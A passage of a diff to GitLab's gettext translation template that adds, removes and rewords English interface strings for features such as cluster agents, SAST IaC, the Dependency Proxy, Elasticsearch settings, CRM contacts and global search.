+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
